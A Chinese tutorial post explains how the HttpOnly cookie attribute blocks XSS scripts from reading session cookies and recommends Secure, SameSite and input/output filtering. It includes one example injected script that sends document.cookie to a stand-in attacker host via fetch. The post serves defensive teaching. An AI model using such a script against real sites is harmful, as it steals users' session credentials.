HttpOnly 是怎么防止 XSS 攻击的?

1. 什么是 XSS(跨站脚本攻击)

XSS(Cross-Site Scripting) 是一种常见的前端安全漏洞。攻击者通过在网页中注入恶意 JavaScript 代码,借此窃取用户敏感信息或劫持用户会话。常被窃取的目标包括:

  • 登录用的 token / session ID
  • 用户的 Cookie
  • 页面上的隐私数据(表单内容、个人信息等)

示例(攻击者注入的脚本):

html 复制代码
<script>
  // 将当前页面的 cookie 发到攻击者服务器
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

这个脚本直接读取 document.cookie 并把值发送出去,因此如果会话凭证存储在普通 cookie 或可被 JS 访问的存储中(如 localStorage),就会被窃取。


2. 设置 HttpOnly 后的防护效果

如果将敏感的 token(比如 refresh_token)以 cookie 形式存储,并在服务端设置 HttpOnly 属性,例如:

复制代码
Set-Cookie: refresh_token=abc123; HttpOnly; Secure; SameSite=Strict

则表示:

  • 浏览器禁止 JavaScript 访问该 cookie (即不会将其暴露给 document.cookie)。
  • 因此,即使页面被 XSS 脚本注入,攻击者也无法通过脚本读取该 cookie 的值,从而有效防止凭证被直接窃取。

需要注意的是:

  • HttpOnly 阻止的是JavaScript 读取 Cookie 的能力,但浏览器在发起请求时仍会自动带上该 Cookie(正常的后端鉴权仍然有效)。
  • 为了更全面防护,建议同时使用 Secure(仅 HTTPS 传输)和 SameSite(防 CSRF)等属性,并结合输入校验、输出转义等手段防止 XSS 植入。

小结

  • 未设置 HttpOnly 的 Cookie :可被 document.cookie 读取,易被 XSS 窃取。
  • 设置 HttpOnly 的 Cookie:不可被 JavaScript 读取,能有效阻断 XSS 对凭证的直接窃取。
  • 但 HttpOnly 不是万能:仍需配合 HTTPS、SameSite、CSRF Token、严格的输入输出过滤等安全措施,构建多层防护体系。

相关推荐
广州华水科技9 分钟前
单北斗GNSS在水库变形监测中的应用与系统安装解析
前端
xingpanvip22 分钟前
星盘接口开发文档:组合三限盘接口指南
android·开发语言·前端·python·php·lua
阿拉丁的梦32 分钟前
blender最好的多通道吸色工具(拾取纹理颜色排除灯光)
前端·html
吴声子夜歌33 分钟前
Vue3——脚手架Vite
前端·javascript·vue.js·vite
摘星编程35 分钟前
当AI开始学会“使用工具“——从ReAct到MCP,大模型如何获得真正的行动力
前端·人工智能·react.js
light blue bird43 分钟前
设备数据变化上传图表数据汇总组件
大数据·前端·信息可视化
2501_918126911 小时前
开源祭祖网页index
前端·开源·html
傻瓜搬砖人1 小时前
SpringMVC的请求
java·前端·javascript·spring
爱上好庆祝2 小时前
学习js的第六天(js基础的结束)
开发语言·前端·javascript·学习·ecmascript
IT_陈寒2 小时前
JavaScript的异步地狱,我差点没爬出来
前端·人工智能·后端